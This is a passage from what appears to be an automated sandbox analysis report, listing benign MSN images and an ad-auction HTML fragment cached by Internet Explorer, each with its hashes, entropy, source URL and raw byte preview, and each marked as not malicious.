Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 965

Entropy (8bit): 7.720280784612809

Encrypted: false

SSDEEP: 24:T2PqcKHsgioKpXR3TnVUvPkKWsvIos6z8XYy8xcvn1a:5PZK335UXkJsgIyScf1a

MD5: 569B24D6D28091EA1F76257B76653A4E

SHA1: 21B929E4CD215212572753F22E2A534A699F34BE

SHA-256: 85A236938E00293C63276F2E4949CD51DFF8F37DE95466AD1A571AC8954DB571

SHA-512: AE49823EDC6AE98EE814B099A3508BA1EF26A44D0D08E1CCF30CAB009655A7D7A64955A194E5E6240F6806BC0D17E74BD3C4C9998248234CA53104776CC00A01

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB10MkbM.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png

Preview:
.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs...#...#.x.?v...ZIDAT8OmS[h.g.=s..$n...]7.5..(.&5...D..Z..X..6....O.-.HJm.B..........j..Z,.D.5n.1....^g7;;.;3.w../......
..}....5....C==}..hd4.OO..^1.I..*.U8.w.B..M0..7}.........J....L.i...T...(J.d*.L..sr.......g?.aL.WC.S..C...(.pl..}[Wc..e.............[...K......<...=S......]..N/.N....(^N'.Lf....X4.....A<#c.....4fL.G..
8..m..RYDu.7.>...S....-k.....GO..........R.....5.@.h...Y$..uvpm>(<..q.,.PY....+...BHE..;.M.yJ...U<..S4.j..g....x.............t".....h.....K...~._....:...qg.).~..oy..h..u6....i._n...4T..Z.#..
...0....L......l..g!..z...8.I&....,iC.U.V,j_._...9.....8<...A.b.|.^..;..2......./v .....>....O^..;.o...n .'!k\l..C.a.I$8.~.0...4j..~5.\6...z?..s.qx.u....%...@.N.....@..HJh].....l..........#'.r.!../..N
.d!m...@.........qV...c..X....t.1CQ..TL....r3.n.."..t.....`...$...ctA....H.p0.0.A..IA.o.5n.m...\.l.B>....x..L.+.H.c6..u...7....`....M....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB14EN7h[1].jpg
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, baseline, precision 8, 622x368, frames 3

Category: downloaded

Size (bytes): 10663

Entropy (8bit): 7.715872615198635

Encrypted: false

SSDEEP: 192:BpV23EiAqPWo2rhmHI2NF5IZr9Q8yES4+e5B0k9F8OdqmQzMs:7PiAqnHICF5IVVyxk5BB9tdq3Z

MD5: A1ED4EB0C8FE2739CE3CB55E84DBD10F

SHA1: 7A185F8FF5FF1EC11744B44C8D7F8152F03540D5

SHA-256: 17917B48CF2575A9EA5F845D8221BFBC2BA2C039B2F3916A3842ECF101758CCB

SHA-512: 232AE7AB9D6684CDF47E73FB15B0B87A32628BAEEA97709EA88A24B6594382D1DF957E739E7619EC8E8308D5912C4B896B329940D6947E74DCE7FC75D71C6842

Malicious: false
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IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB14EN7h.img?h=368&w=622&m=6&q=60&u=t&o=t&l=f&f=jpg

Preview:
......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOO......p.n.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijs
tuvwxyz....................................................................................?...E.(.Y....E.D....=h...<t.S......5i..9.. .:..".R..i...dt&..J..!...P..m&..5`VE..|..j.d...i..qL=x...4.S@..u.4.J.u.....J
u%.FEU..I.*.]#4.3@.6...yH...=..}.#....bx...1s...O.....7R....."U...........jY.'.L.0..ST.M.:t3...9...2.:.0$...V..A..w..o..T.Y#...=).K..+.....XV...n;......}.37.........:.!E.P.E%...RQ@
.E%...RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%-...uE,.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB14EN7h[1].jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB1cEAUp[1].jpg
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 622x368, frames 3

Category: downloaded

Size (bytes): 30945

Entropy (8bit): 7.965777819597918

Encrypted: false

SSDEEP: 768:rjrCbok8x2LMwhikuLNLX61E6G8TAXiKrjnR5yNt:rj+bo/ILJ1cT61cq0iK/R5ct

MD5: 44A18658C601989D66F63DDC9B82AB76

SHA1: 1A4642B218D7AA7503C23F311CB342D9AAAFDD00

SHA-256: 23A076A45A2B93E3F78FC80C39C7D69799405F44BB8FEB4A92C91A88F2AECC3A

SHA-512: CAFC479733B00F0BA6583BB35C31DA9CFF3495CA52956E81AD92DA18EEB1E2441E0EFAFF7E69CC4824F3B6B26E1F703A6D1E58E0A5CD9D78D981712668ADD8
A4

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cEAUp.img?h=368&w=622&m=6&q=60&u=t&o=t&l=f&f=jpg

Preview:
......JFIF.....H.H.....C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOO......p.n.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijs
tuvwxyz....................................................................................?..(....cqh.&h...h.&h..(4....1...34..1A.f.KH.4.SI@..4.h.h.....f.....j..kWQ..d..H?.d/....6%..9..JMf.4#9Q.c\.S.e'....t1..
`./.S.........t..5.....@.u.B)..Hjc....+.h....Z.@$^...Vv.....[.r..H.#.#&.q........qP.g.pGCLg`....-..%*I84.vc.....H'p....N...;`....1....jo.A.]...........F.Yv f.H..V..K%. 7~.].....@q......lv.....p..1.&..
%..E.#...b.7I ...JE.e...?.f.`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB1dHBnn[1].jpg
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 206x250, frames 3

Category: downloaded

Size (bytes): 6436

Entropy (8bit): 7.914696570266268

Encrypted: false

SSDEEP: 192:xCwek8uaZggX31jWclG0zKWuFqnTgZZVIEpOTNCqc:Uwguah5uGgZrmIqc

MD5: 7316FE4BF8ABB97B47DC405E82C86191

SHA1: D65110C1810FB0E9BD3B4C5A2B5E3F9047B3A55E

SHA-256: 21B3C5C5CC965197169C967F809D18FDEA661CDDCC4C863596B2E1546F0483DC

SHA-512: 369A74E081C8133DF8CB1FE94B6A1C6DBF40AE05492D75A439E1A787599E86E451A6CF45049CFEC97F572966BFB5E33D0BD4A5F71CCAE65377C5510859E7F093

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHBnn.img?h=250&w=206&m=6&q=60&u=t&o=t&l=f&f=jpg&x=376&y=126

Preview:
......JFIF.....H.H.....C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOO..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijs
tuvwxyz....................................................................................?..ii..C..b.E ..Ju!...f..P..L..1i)i1@.E.....(..........Q@..Q@.(........&......J.!.....@iqK.(..0..M.4.QF)q@.b.^"...c$..N
j...)".HT.3..... ...&N......Q.)...W>+..v!.....6...$...3....fi......l..5f_.^[..}..&.......;..\]B.........s.^i...NR.=...@+.......H.J..\S...".;j...IElb;.......b.Z(.)i(...i3E....QK..%-%.h.i.....JZ1@.Q...[I'.T....[..
[.........wb..f.!...s.Eq...b......]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB1dHF9j[1].jpg
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3

Category: downloaded

Size (bytes): 7597

Entropy (8bit): 7.934367388044496

Encrypted: false

SSDEEP: 192:BCln9WfxOGmMJWas1JOPKsf+prTP+JovGJWgX//0Al:kl9DMO4SPh2RWKH0Y

MD5: 60BCCF0009FFB8BEB50E44174976098C

SHA1: 4144C0C2143A6E4731DF123D1C881A2610ADFB47

SHA-256: 9E3E63F5A0253373BDE49CC5BAECC71931ECD08CB591DCBA804DD0CF8B25DDA1

SHA-512: 98ABE2683619D76339927A581CF3C6829488663BEC56FE20769F8DD6852ADD9F0EF782763BECB229FE5CDDAFBC2F56F7A9E039442513494B10385E88EB461CE2

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHF9j.img?h=250&w=206&m=6&q=60&u=t&o=t&l=f&f=jpg
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Preview:
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Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 310x166, frames 3

Category: downloaded

Size (bytes): 11226

Entropy (8bit): 7.957616259041709

Encrypted: false

SSDEEP: 192:xFwoKlRH2qo2CAX7IbWfTFNX0HJntKvwTKzaVdJYO4HLF01SEcZxXIdr9n:fwoKlAH2VX6W7FNOJnCOKzaCOGKSEcZc

MD5: BF50C7F75F3B8C39E02826B94D64CE28

SHA1: 557EE06B93C94B1448731649E55E8F60CAB58E0E

SHA-256: 1F0A40DBF4F0DED1608CBA000AE7E63634FF75C20A268B33185E93011D09C083

SHA-512: 23A928DB58240676790385E0713A8C1D943C847B61EDB7AE1B3405EB13F2D577C9189060E6718EB7A3192C1C7B641193E354A54A624D9D8BBAFD1380D77BB500
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Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3

Category: downloaded

Size (bytes): 7700

Entropy (8bit): 7.930333247879523

Encrypted: false

SSDEEP: 192:BCsggEE+WLciXobgIQFfcc1chGCln31b32QInSUkZ:kgEhWLcRbAcc2plb3oSUK

MD5: B1EB8C72739DCFEFCCBCFB1391F34D78

SHA1: 0608E48EEF2D6C6C245D4E83474DF598560ECEA3

SHA-256: 7E577BAB251705320E63E76A898F7499AD82BDA1B041C027E843DF680CE02A0A

SHA-512: 5DD9453B341CBFB47558B3A8FAEA265C68950CEF8B06A2627A895DA755689D25C55526CDD4DBF0A9E57CC8B2BE2ED8AE657F8EC0F3A646BAD44B2D19AC4298
46
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Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3

Category: downloaded

Size (bytes): 20775

Entropy (8bit): 7.967270212955468

Encrypted: false

SSDEEP: 384:eM1p8D59spbZL2OFKOqmMEMbNVyx7F2FnukcnEmLkA4yQ:eup8D3spbkEKoMEMbNVyxx2Fukn6c

MD5: 66B71600B13AC2B0A75B1F12E129551E

SHA1: E169621380C8A0D57A5F0668201D361712363D94

SHA-256: E6530D1F9753BBCD5CC2C01500358F387364CE8E01F9FE845D02E54EF482BC4E

SHA-512: 05634D50EE8BBE2D1C9EBE5EF2AD6A0AEB360C8DD34FA08168AAA216B6C020249CCF27343718E9A8155391525B5D87829EA2AEE1F6DF139359951C01BC0B100
D
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Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 311x333, frames 3

Category: downloaded

Size (bytes): 21408

Entropy (8bit): 7.957857831315479

Encrypted: false

SSDEEP: 384:ONcjYYAyNKg19gbA5zWEcq/Ei6Cghc1wrzfhcZIkRWZh/T8JE0gLeMI6+Q:Omfr7Lgc5yYUrr3tTEgL26b

MD5: 66E13DEA8349F22AC167937C2611AC21

SHA1: EC48DA19B0B80412C8DB6A3F26C68D0862BE6363

SHA-256: EDBE0AD4E5B4D8E5E87B3323555528F374E468020595269CCFB2B6782FBDB436

SHA-512: 2243CD512008293A384EAECC6696FAF0A57CB889999910C44F22DC9CCC212C83974CAFA2EFA38EB35C15FFB15012203EE6A92725148A5B8558F87371E77053F2
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Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 100x75, frames 3

Category: downloaded

Size (bytes): 2248

Entropy (8bit): 7.790927433759063

Encrypted: false

SSDEEP: 48:BGpuERAm/Fm1I2Blt58luHo4A8yXaTk+iBsEG7CTn:BGAEh/ze4Ec5we40

MD5: 29968292C14A3FBAB693014EC21786F2

SHA1: C9905F37DF29833A82B456668C06877FB134A678

SHA-256: A4100B8F6F9DCF594D77BE9893D8A41C91F5BEDBAD12E2239F617A3C364FCA2F

SHA-512: 06FB2DB4B2121B6B5E9CD2B215C1EDD3F0D444F592A059EE54C39631725A0B8364F3FEFC4385AAD8ECD80211A50DFDA9B435B815469D77B04A67BE0F0AD8FE
AA
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Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 100x75, frames 3

Category: downloaded

Size (bytes): 2391

Entropy (8bit): 7.79733578579855

Encrypted: false

SSDEEP: 24:BI/XAo0XxDuLHeOWXG4OZ7DAJuLHenX3fbim8AKO+gaSFDhJoT40K8QkVl5sg0en:BGpuERAdbim38gaSmV+eiYCIYgywhLx

MD5: 35BA498D68E7C240DF270DEB903297F5

SHA1: D176ED7960CA277AE94002419C7C9CE6F78FFA01

SHA-256: 5D3665DDEDEED5CAA21D484E09138796B8FFA9D9BCABBFEB66EF8BCC8C72D82A

SHA-512: 409A81491F9210B0F2B7C9360EA052EE49850AA3177922527094D0DF3B2C66221AF4F72ABB4585B99B427F9957FBB09D3AE717020C08F781E8248B019DB82745

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHsRM.img?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg

Copyright null 2021 Page 38 of 75



Preview:
......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOO......K.d.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefgh
ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz....................................................................................?...er.....mko.v..\W.9+..W..B.@.$..5.%s...N..7..@!V.d..2L.>MS.Z,...B.n.<Ii#.......W#..^88.......Dx.
$..M(.$......V..hr..I..p.4..)..208.T...k.o..8.k@..!......Z..K.T.UUz..g.z..m(.7_S.]...d!...`.....9..ku.%..2.8......K..../.@....d.-.=....q..Z...T.s.N..Z.."".pk..h.r.>a.3EbjW2...8.....y..c.....
}.X.8....?Z.c4EB..w.s.P.[...d..Q..k-...c.].8......t.c..9...=+.......p.'Q..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB1dHsRM[1].jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB1dHw7A[1].jpg
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 206x250, frames 3

Category: downloaded

Size (bytes): 6904

Entropy (8bit): 7.929723133358109

Encrypted: false

SSDEEP: 192:BCLVjHcLfXUn0xZl9nGOhtxch6szXTVP/PhxPj37J:kLNOfknqZvnG4Xch6szpfHnJ

MD5: 2D49B699C2E959616F35A1ECB1AB6AD0

SHA1: 624ADCD53D2A415E501F7D686B1EF6B2C834524C

SHA-256: 4DFF9E6C263AEB667FD6CFDEBA59C5EBB8FF1F68A08DFF335ADB7A3A180EF420

SHA-512: C2A7F76A7FFE606E557899A9F136A3A5EF3B2777BB4A3FDCD95D095F176B5B0C1D755BAD20AA7C4A2202645144FCBCA401142BE26BB3F2955E16BCFFF4DBC6
E2
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Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3

Category: downloaded

Size (bytes): 3637

Entropy (8bit): 7.781956946097405

Encrypted: false

SSDEEP: 96:BGAaEFYG2XRz3WgQ3DfHce1dLgBpoKoTO3fbpVvwoRv:BC31pQYenSgTO3fbnwot

MD5: A8900197DD062A7BB5A4331AE06068EE

SHA1: 0C37AF6D54D562D5169225A280E4F0D3C835899A

SHA-256: E66B0D34D56D6DDA1EF6891D88FCE635296760017828D6EA0E88A4481E54B33D

SHA-512: B1584BF92D5207E1A0BF4B38A89F9EF053FB2D310FC285D6A26102994E21322D51636E168CA903BB305A413772D7DBAC457C7FD70DB537AA398258FDE95DC9CD
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Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 100x75, frames 3

Category: downloaded

Size (bytes): 2042

Entropy (8bit): 7.7588225060907305

Encrypted: false

SSDEEP: 48:BGpuERAKXDOsuAwWN5uNfxe/es7wsNrbuBWkySY:BGAEdzOwvsxe/ecwslKBWkySY

MD5: 5EE9D1E088E4DB3DCA9268C50F813456

SHA1: B90144849695735A641F0BA7F25C318C75F06DF6

SHA-256: 42E7748A909E4D0670B965AE9EC99C91D5A0A22B6115C1967962C6CF44F79D67

SHA-512: 9361DCD399A1E6255EB77FE833A452378C84481894D670A3EF93775E736CE505CAE3117603E789D7BD8EFF8721331F3D85162D6BD8D2B41329C996979E96A097
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IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHzhh.img?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB1dHzhh[1].jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB1duefr[1].jpg
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 622x368, frames 3

Category: downloaded

Size (bytes): 30174

Entropy (8bit): 7.957451764853244

Encrypted: false

SSDEEP: 768:7zZqAzNGmTA/kz2gjCLlysIrjGEYnYlYT6xJsPZWGRVN:7lqA5GgA/kzj2lysK3o4YOKVN

MD5: D4C232F55AF9C862FC604DE2051FCF50

SHA1: 8ABA7C2293019BCAA37676DF6C48B43D1AF80F38

SHA-256: E3C8F0012F0E360BBA2041C9D7200F70A37726F911310589C37D994062B46359

SHA-512: DE9EFFB0534E0F33D75A6E141E9A11D1749613DF584EB4E935C8A4906CAEC0E95F9CE0F4BB772584C7FD6A64547F4A1DE11F733AA54D9802656426455DB0A525

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1duefr.img?h=368&w=622&m=6&q=60&u=t&o=t&l=f&f=jpg
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBK9Hzy[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 541

Entropy (8bit): 7.367354185122177

Encrypted: false

SSDEEP: 12:6v/78/W/6T4onImZBfSKTIxS9oXhTDxfIR3N400tf3QHPK5jifFpEPy:U/6rIcBfYxGoxfxfrLqHPKhif7T

MD5: 4F50C6271B3DF24A75AD8E9822453DA3

SHA1: F8987C61D1C2D2EC12D23439802D47D43FED3BDF

SHA-256: 9AE6A4C5EF55043F07D888AB192D82BB95D38FA54BB3D41F701863239E16E21C

SHA-512: AFA483EAFEAF31530487039FB1727B819D4E61E54C395BA9553C721FB83C3B16EDF88E60853387A4920AB8F7DFAD704D1B6D4C12CDC302BE05427FC90E7FACC
8

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBK9Hzy.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBOLLMj[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 507

Entropy (8bit): 7.140014669230146

Encrypted: false

SSDEEP: 12:6v/78/soC6yG9YjUiWGS3Sw38Cztj2ChFblexnDizTGN:RCMnX3fxzhhqxn8TGN

MD5: 25D424F126A464CA028C0C9BA692ADA9

SHA1: E54F845D1099C8D7B7BA0C5E9B57DFA7163CE95C

SHA-256: E0DF9CDAFF2557C7B555FFAED40B7E553FF6C50DD58FE79C27B3AA69CC56258D

SHA-512: 7E72F13B354AA5EE99EC50057DB2BFBC35A78D5617A36ED90864D1DA6AC1B692301115EF8F44255AB3894142D6C0F634A2CFD44EBCD00B039DC628F751579DC
3

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBOLLMj.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBPfCZL[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: GIF image data, version 89a, 50 x 50

Category: downloaded

Size (bytes): 2313

Entropy (8bit): 7.594679301225926

Encrypted: false

SSDEEP: 48:5Zvh21Zt5SkY33fS+PuSsgSrrVi7X3ZgMjkCqBn9VKg3dPnRd:vkrrS333q+PagKk7X3ZgaI9kMpRd

MD5: 59DAB7927838DE6A39856EED1495701B

SHA1: A80734C857BFF8FF159C1879A041C6EA2329A1FA

SHA-256: 544BA9B5585B12B62B01C095633EFC953A7732A29CB1E941FDE5AD62AD462D57

SHA-512: 7D3FB1A5CC782E3C5047A6C5F14BF26DD39B8974962550193464B84A9B83B4C42FB38B19BD0CEF8247B78E3674F0C26F499DAFCF9AF780710221259D2625DB86

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBUE92F[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 708

Entropy (8bit): 7.5635226749074205

Encrypted: false

SSDEEP: 12:6v/78/gMGkt+fwrs8vYfbooyBf1e7XKH5bp6z0w6TDy9xB0IIDtqf/bU9Fqj1yfd:XGVw9oiNH5pbPDy9xmju/AXEyfYFW

MD5: 770E05618413895818A5CE7582D88CBA

SHA1: EF83CE65E53166056B644FFC13AF981B64C71617

SHA-256: EEC4AB26140F5AEA299E1D5D5F0181DDC6B4AC2B2B54A7EE9E7BA6E0A4B4667D

SHA-512: B01D7D84339D5E1B3958E82F7679AFD784CE1323938ECA7C313826A72F0E4EE92BD98691F30B735A6544543107B5F5944308764B45DB8DE06BE699CA51FF7653

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBUE92F.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBX2afX[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 688

Entropy (8bit): 7.578207563914851

Encrypted: false

SSDEEP: 12:6v/74//aaICzkSOms9aEx1Jt+9YKLg+b3OI21P7qO1uCqbyldNEiA67:BPObXRc6AjOI21Pf1dNCg

MD5: 09A4FCF1442AD182D5E707FEBC1A665F

SHA1: 34491D02888B36F88365639EE0458EDB0A4EC3AC

SHA-256: BE265513903C278F9C6E1EB9E4158FA7837A2ABAC6A75ECBE9D16F918C12B536

SHA-512: 2A8FA8652CB92BBA624478662BC7462D4EA8500FA36FE5E77CBD50AC6BD0F635AA68988C0E646FEDC39428C19715DCD254E241EB18A184679C3A152030FD9FF
8

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBX2afX.img?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBaK3KR[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 551

Entropy (8bit): 7.412246442354541

Encrypted: false
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SSDEEP: 12:6v/78/kF5ij6uepiHibgdj9hUxSzDLpJL8cs3NKH3bnc7z:WO65iHibeBQSvL7S3N03g

MD5: 5928F2F40E8032C27F5D77E3152A8362

SHA1: 22744343D40A5AF7EA9A341E2E98D417B32ABBE9

SHA-256: 5AF55E02633880E0C2F49AFAD213D0004D335FF6CB78CAD33FCE4643AF79AD24

SHA-512: 364F9726189A88010317F82A7266A7BB70AA97C85E46D15D245D99C7C97DB69399DC0137F524AE5B754142CCCBD3ACB6070CAFD4EC778DC6E6743332BDA7C7B
1

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBaK3KR.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBaK3KR[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\auction[1].htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines

Category: downloaded

Size (bytes): 26063

Entropy (8bit): 5.656457470153478

Encrypted: false

SSDEEP: 384:hXJS3p7WCmepSjAVaSRkvxow0RkGl0PcSSnNENQ7dPQoIetRdJkKcp6ADE7qpkIk:hX0QCeMDQpGukLxY0VJBqzk

MD5: E5CF851463E273C7E77DFCF831F5D202

SHA1: 15E8E409990269CC1DD7F3414A3E1D01A89D73F3

SHA-256: C1F1CF1634199428899B97AA17EB4CBE893A4F8E20C1654EAE25853114377D83

SHA-512: 3B91D098E9035229487669272EF0CAAD56AA641C0BD1444FEB9A3F1D874208DD12CCDFFDD51B7A45B76E06D8D4BA8D4B55E8B09C5A6F72F9DFA984D547AE834
A

Malicious: false

IE Cache URL: https://srtb.msn.com/auction?a=de-ch&b=ec42025380094f48a995aaa6a93bbc20&c=MSN&d=https%3A%2F%2Fwww.msn.com%2Fde-
ch%2F%3Focid%3Diehp&e=HP&f=0&g=homepage&h=&j=0&k=0&l=&m=0&n=infopane%7C3%2C11%2C15&o=&p=init&q=&r=&s=1&t=&u=0&v=0&x=&w=&_=161345326
0591

Preview:
.<script id="sam-metadata" type="text/html" data-json="{&quot;optout&quot;:{&quot;msaOptOut&quot;:false,&quot;browserOptOut&quot;:false},&quot;taboola&quot;:{&q
uot;sessionId&quot;:&quot;v2_c10ba672976e4da80a2c413e0c26a23c_44e6a05e-282c-4412-a4d2-ab6263bfe981-tuct7245ec1_1613420865_1613420865_CIi3jgY
Qr4c_GI-RhNfsvPabFCABKAEwKziy0A1A0IgQSN7Y2QNQ____________AVgAYABoopyqvanCqcmOAQ&quot;},&quot;tbsessionid&quot;:&quot;v2_c10ba67297
6e4da80a2c413e0c26a23c_44e6a05e-282c-4412-a4d2-ab6263bfe981-tuct7245ec1_1613420865_1613420865_CIi3jgYQr4c_GI-RhNfsvPabFCABKAEwKziy0A1A0IgQSN
7Y2QNQ____________AVgAYABoopyqvanCqcmOAQ&quot;,&quot;pageViewId&quot;:&quot;ec42025380094f48a995aaa6a93bbc20&quot;,&quot;RequestLevelBeaconU
rls&quot;:[]}">.</script>.<li class="triptych serversidenativead hasimage " data-json="{&quot;tvb&quot;:[],&quot;trb&quot;:[],&quot;tjb&quot;:[],&quot;p&quot;:&quot;taboo
la&quot;,&quot;e&quot;:true}" data-provider="taboola" data-ad-region="infopane" data-ad-index="3" data-viewability="">.<

